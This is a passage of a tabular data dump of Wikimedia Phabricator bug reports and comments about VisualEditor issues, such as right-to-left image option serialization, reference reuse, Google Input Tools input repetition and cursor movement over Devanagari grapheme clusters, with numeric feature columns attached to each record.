one.",,,1376690182,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,6,,2.0,0.0,0.0,0.0,2.0,12.0,6.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,6.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,4.0,15.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6538461538461537,0.8461538461538461,"We don't actually need to hard-code the list of rtl wikis, as that information is available in the site info returned by the API. It would still be good to check for each current rtl wiki if the first option alias is always a good one."
247456,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"In most ltr wikis the English version is actually the most commonly used today, which is why we went with serializing new content with the English defaults.

This is not ideal for rtl languages though, as this leads to a mix of ltr and rtl text.

If you can provide us with a list of rtl language codes and check for each if a common offset in the option aliases is a good default, then we can add a list of rtl languages to the serializer and use the localized defaults for those.",,,1376689406,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,6,,1.0,0.0,0.0,0.0,0.5,5.5,2.0,0.0,0.5,2.0,2.0,0.0,0.0,0.0,0.0,2.5,0.5,4.0,12.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,3.0,1.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.5,3.0,2.5,2.5,12.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,12.5,0.5,0.0,0.0,0.0,3.5,0.0,1.0,4.5,1.0,0.5,0.0,1.0,0.0,3.8705882352941177,0.7821568627450981,"In most ltr wikis the English version is actually the most commonly used today, which is why we went with serializing new content with the English defaults.

This is not ideal for rtl languages though, as this leads to a mix of ltr and rtl text.

If you can provide us with a list of rtl language codes and check for each if a common offset in the option aliases is a good default, then we can add a list of rtl languages to the serializer and use the localized defaults for those."
53848,VisualEditor: Disable 'Use existing reference' on pages without a reference,"Steps to reproduce
1. start an empty sandbox (https://en.wikipedia.org/wiki/User:John_Vandenberg/mtgg?veaction=edit)
2. insert reference
3. use an existing reference

Expected results:
'Use an existing reference' should be disabled, as there are none to select.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50458",Medium,50.0,1374557100,1377889832.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-jx64nu32n5cymzvwwjp5,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,4.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,4.0,3.4594594594594597,0.5540540540540541,"Steps to reproduce
1. start an empty sandbox (URL
2. insert reference
3. use an existing reference

Expected results:
'Use an existing reference' should be disabled, as there are none to select.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
247234,VisualEditor: Disable 'Use existing reference' on pages without a reference,"Change 81964 merged by jenkins-bot:
Re-build reference search index so they can be used mid-edit

https://gerrit.wikimedia.org/r/81964",,,1377889945,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jx64nu32n5cymzvwwjp5,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.92,"Change 81964 merged by jenkins-bot:
Re-build reference search index so they can be used mid-edit

GERRIT_URL"
247229,VisualEditor: Disable 'Use existing reference' on pages without a reference,Now fixed in master and will be deployed next week.,,,1377889832,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jx64nu32n5cymzvwwjp5,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,1.0,Now fixed in master and will be deployed next week.
247224,VisualEditor: Disable 'Use existing reference' on pages without a reference,"Change 81964 had a related patch set uploaded by Trevor Parscal:
[WIP] Bug 51689, bug 52000 & bug 51848 - Reusing new references

https://gerrit.wikimedia.org/r/81964",,,1377886576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jx64nu32n5cymzvwwjp5,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.966666666666667,0.9666666666666667,"Change 81964 had a related patch set uploaded by Trevor Parscal:
[WIP] Bug 51689, bug 52000 & bug 51848 - Reusing new references

GERRIT_URL"
53847,VisualEditor: Recursive word addition with Google Input Tools in reference tool on Firefox,"Steps to reproduce:
1. Download and install Google input tools for windows www.google.co.in/inputtools
2. Open any page in firefox
3. Open VE
4. Edit a reference
5. Type anything in the reference. The word is input by the tools when the word is complete and one presses space/enter

Expected Behaviour:
The word is input and if the spacebar has been pressed, a space is input too.

What happens instead:
The word is entered recursively over and over. The space isn't input at all.

System environment:
Win 7 X64 SP1
Firefox 15.0.1
Google input tools for languages hindi and punjabi(gurmukhi script)

The problem didn't seem to arise when using input tools for urdu, though its possible that's just coz the wiki is ltr and urdu is rtl.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374549360,1378958789.0,PHID-USER-4bjsher5mqcoikeqnnec,False,,False,PHID-TASK-6nas4q7uc475euchng3b,task_description,resolved,True,c1,3,False,False,True,3,,1.0,0.5,0.0,1.0,1.0,4.0,1.5,0.0,0.5,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,6.5,6.0,0.5,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,7.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,6.0,4.5,12.5,2.0,3.0,7.5,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.5,6.0,6.5,0.0,0.0,0.0,0.5,0.5,1.5,1.0,0.0,0.5,0.0,0.0,0.5,3.8611111111111107,0.6333333333333333,"Steps to reproduce:
1. Download and install Google input tools for windows www.google.co.in/inputtools
2. Open any page in firefox
3. Open VE
4. Edit a reference
5. Type anything in the reference. The word is input by the tools when the word is complete and one presses space/enter

Expected Behaviour:
The word is input and if the spacebar has been pressed, a space is input too.

What happens instead:
The word is entered recursively over and over. The space isn't input at all.

System environment:
Win 7 X64 SP1
Firefox 15.0.1
Google input tools for languages hindi and punjabi(gurmukhi script)

The problem didn't seem to arise when using input tools for urdu, though its possible that's just coz the wiki is ltr and urdu is rtl.

--------------------------
**Version**: unspecified
**Severity**: normal"
247191,VisualEditor: Recursive word addition with Google Input Tools in reference tool on Firefox,Confirming that this is fixed in Firefox 23.0.1 on Win7 X64 SP1 for both punjabi (gurmukhi script) and hindi.,,,1379503051,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-6nas4q7uc475euchng3b,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,23.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,23.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.136363636363637,1.0,Confirming that this is fixed in Firefox 23.0.1 on Win7 X64 SP1 for both punjabi (gurmukhi script) and hindi.
247185,VisualEditor: Recursive word addition with Google Input Tools in reference tool on Firefox,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring.",,,1378958789,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6nas4q7uc475euchng3b,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,11.0,22.0,4.0,0.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5185185185185186,0.8518518518518519,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring."
247179,VisualEditor: Recursive word addition with Google Input Tools in reference tool on Firefox,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378943165,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-6nas4q7uc475euchng3b,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
53846,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Steps to reproduce:
1. Open any page
2. Open VE
3. Type (or copy-paste) ग्र
5. Press left arrow key

What should happen:
Cursor should move to the left of the glyph

What happens:
Cursor stays there

System environment:
Win 7 X64 SP1
Google Chrome 28.0.1500.72 m

The problem arises regardless of what follows ग्र . I've tried with space, tab, the letter a, devanagari characters that do not combine with the glyph, like क, and devanagari characters that do combine with the glyph, such as ि to produce ग्रि and ी to produce ग्री

The problem doesn't seem to affect firefox 15.0.1.

In chrome, the problem doesn't arise in the link editing window, or when editing parameter of a template. It does, however, arise when editing a reference.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374547560,1430334001.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-xckf32rcb2yx56eieafj,task_description,resolved,True,c1,3,False,False,False,3,,0.5,0.0,0.0,0.0,1.5,3.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.5,0.5,0.0,3.5,8.0,0.0,2.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,15.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,5.5,0.0,11.5,1.0,2.0,6.0,0.0,0.0,0.0,0.0,7.0,0.5,3.0,0.0,1.0,8.0,7.0,0.0,0.0,0.0,1.0,0.0,3.5,1.0,0.0,1.0,0.0,0.0,0.5,3.683650615901456,0.6399216125419933,"Steps to reproduce:
1. Open any page
2. Open VE
3. Type (or copy-paste) ग्र
5. Press left arrow key

What should happen:
Cursor should move to the left of the glyph

What happens:
Cursor stays there

System environment:
Win 7 X64 SP1
Google Chrome 28.0.1500.72 m

The problem arises regardless of what follows ग्र . I've tried with space, tab, the letter a, devanagari characters that do not combine with the glyph, like क, and devanagari characters that do combine with the glyph, such as ि to produce ग्रि and ी to produce ग्री

The problem doesn't seem to affect firefox 15.0.1.

In chrome, the problem doesn't arise in the link editing window, or when editing parameter of a template. It does, however, arise when editing a reference.

--------------------------
**Version**: unspecified
**Severity**: normal"
451284,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press",Have tested quite a lot and this seems fine.,,,1430334001,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,True,,,95,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,Have tested quite a lot and this seems fine.
415437,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Seems to be fixed now, though probably needs to be tested extensively before closing.",,,1424612816,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,85,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.875,"Seems to be fixed now, though probably needs to be tested extensively before closing."
247143,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","18:32 < Sid-G> Hi. Can someone confirm if the fix for https://bugzilla.wikimedia.org/show_bug.cgi?id=51846 has been deployed to the wmf cluster?

18:40 < mutante> Sid-G: hi
18:40 < mutante> i dont know much about ve but yes, it looks deployed

8:40 < mutante> checked one of those changed files on tin
18:41 < mutante> /php-1.23wmf6/extensions/VisualEditor/modules/ve/ce/ve.ce.Document.js
18:43 < mutante> Sid-G: and also confirmed on random app server, so not like somebody forgot to deploy
18:43 < mutante> if it doesnt work it should actually need an additional fix

18:45 < Sid-G> hmm, then i should reopen the bug
18:45 < mutante> yes
18:45 < mutante> please do

18:58 < Sid-G> mutante: reopened. Is there an irc chan for VE?

19:15 < legoktm> #mediawiki-visualeditor",,,1386992085,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,23,,0.5,1.0,0.0,0.5,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,4.0,5.5,1.0,0.5,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,2.5,1.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,10.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,2.5,1.0,9.0,1.0,1.0,3.0,0.0,0.0,0.0,0.5,3.5,1.5,7.5,0.0,2.5,5.5,12.0,1.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,13.0,3.379120879120879,0.6648351648351648,"18:32 < Sid-G> Hi. Can someone confirm if the fix for URL has been deployed to the wmf cluster?

18:40 < mutante> Sid-G: hi
18:40 < mutante> i dont know much about ve but yes, it looks deployed

8:40 < mutante> checked one of those changed files on tin
18:41 < mutante> /php-1.23wmf6/extensions/VisualEditor/modules/ve/ce/ve.ce.Document.js
18:43 < mutante> Sid-G: and also confirmed on random app server, so not like somebody forgot to deploy
18:43 < mutante> if it doesnt work it should actually need an additional fix

18:45 < Sid-G> hmm, then i should reopen the bug
18:45 < mutante> yes
18:45 < mutante> please do

18:58 < Sid-G> mutante: reopened. Is there an irc chan for VE?

19:15 < legoktm> #mediawiki-visualeditor"
247134,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press",We'll have to investigate. Sorry this isn't fixed yet!,,,1386989820,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,True,,,23,,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,15.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,15.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,1.0,We'll have to investigate. Sorry this isn't fixed yet!
247126,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Reopening

System Environment:
Windows 7 X64 SP1
Google Chrome 31.0.1650.63 m

Urls:
Same as in comment 6

Glyphs:
Same as in comment 0 , comment 1 and comment 6

What happens:
Crossing the glyphs now requires three keypresses going either left to right or right to left.",,,1386989489,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,23.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8360655737704916,0.6721311475409836,"Reopening

System Environment:
Windows 7 X64 SP1
Google Chrome 31.0.1650.63 m

Urls:
Same as in comment 6

Glyphs:
Same as in comment 0 , comment 1 and comment 6

What happens:
Crossing the glyphs now requires three keypresses going either left to right or right to left."
247119,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Has this been deployed? If it has, it hasn't fixed the problem. Please reopen if this has been deployed. Tried at both urls per comment 6.",,,1386469991,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.53125,0.75,"Has this been deployed? If it has, it hasn't fixed the problem. Please reopen if this has been deployed. Tried at both urls per comment 6."
247114,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Change 80689 merged by jenkins-bot:
Revert model to use simple UTF-16 code units

https://gerrit.wikimedia.org/r/80689",,,1385506399,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2631578947368425,1.0,"Change 80689 merged by jenkins-bot:
Revert model to use simple UTF-16 code units

GERRIT_URL"
247108,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Change 80689 had a related patch set uploaded by Divec:
DONTMERGE:Revert model to use simple UTF-16 code units

https://gerrit.wikimedia.org/r/80689",,,1384946963,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,0.9583333333333334,"Change 80689 had a related patch set uploaded by Divec:
DONTMERGE:Revert model to use simple UTF-16 code units

GERRIT_URL"
247102,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press",There's code in progress to fix this in gerrit 80689 which is currently a work-in-progress.,,,1381269313,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8095238095238095,There's code in progress to fix this in gerrit 80689 which is currently a work-in-progress.
247095,"Cursor not moving past ""ग्र"" and other multiple code-unit grapheme clusters on left arrow key press","Update:
System Environment:
Windows 7 X64 SP1
Google Chrome 29.0.1547.76 m

Tested at https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit

न्स seems to now require three keystrokes. All the others listed in Comment 6 above along with ग्र भ्र श्र ष्र still require two keystrokes.",,,1380971530,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-xckf32rcb2yx56eieafj,task_subcomment,,True,c1,3,False,,,13,,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,10.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.8541666666666666,"Update:
